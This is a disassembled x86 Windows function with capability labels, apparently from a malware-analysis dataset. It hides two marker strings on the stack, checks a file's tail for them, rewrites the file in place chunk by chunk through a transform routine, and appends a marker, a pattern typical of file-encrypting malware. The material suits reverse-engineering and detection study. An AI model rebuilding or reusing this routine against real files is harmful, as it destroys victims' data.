Function at 0x10001ac0
Capabilities:
Contain obfuscated stackstrings
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1a44
call fcn.10004d60
mov eax, dword [0x10011184]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x13], 0x71
mov byte [ebp - 0x12], 0x75
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], 0x68
mov byte [ebp - 0xe], 0
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x77
mov byte [ebp - 9], 0x61
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0x68
mov byte [ebp - 6], 0
lea eax, [ebp - 0x14]
push eax
call fcn.10001940
add esp, 4
lea ecx, [ebp - 0xc]
push ecx
call fcn.10001940
add esp, 4
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x10001d01
push 0
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
je 0x10001cf1
cmp dword [ebp - 0x20], 6
jbe 0x10001bf3
push 2
push 0
push 0xfffffffffffffffa
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 0x1c]
push edx
push 6
lea eax, [ebp - 0x1a44]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov byte [ebp - 0x1a3e], 0
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x1a44]
push eax
call fcn.10004cd0
add esp, 8
test eax, eax
jne 0x10001bcb
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10001d1e
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x1a44]
push eax
call fcn.10004cd0
add esp, 8
test eax, eax
jne 0x10001bf3
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10001d1e
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x1a2c], edx
mov dword [ebp - 0x1a28], 0
mov dword [ebp - 0x1a24], 0
cmp dword [ebp - 0x1a2c], 0
jbe 0x10001cc9
push 0
push 0
mov eax, dword [ebp - 0x1a28]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 0x1c]
push edx
push 0x1a00
lea eax, [ebp - 0x1a20]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1a24], edx
mov eax, dword [ebp - 0x1a24]
push eax
lea ecx, [ebp - 0x1a20]
push ecx
call fcn.10001980
add esp, 8
push 0
push 0
mov edx, dword [ebp - 0x1a28]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x1a24]
push edx
lea eax, [ebp - 0x1a20]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x1a2c]
sub edx, dword [ebp - 0x1a24]
mov dword [ebp - 0x1a2c], edx
mov eax, dword [ebp - 0x1a28]
add eax, dword [ebp - 0x1a24]
mov dword [ebp - 0x1a28], eax
jmp 0x10001c10
push 2
push 0
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 0x1c]
push edx
push 6
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x10001cff
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10001d1e
jmp 0x10001d0f
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10001d1e
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100042b8
mov esp, ebp
pop ebp
ret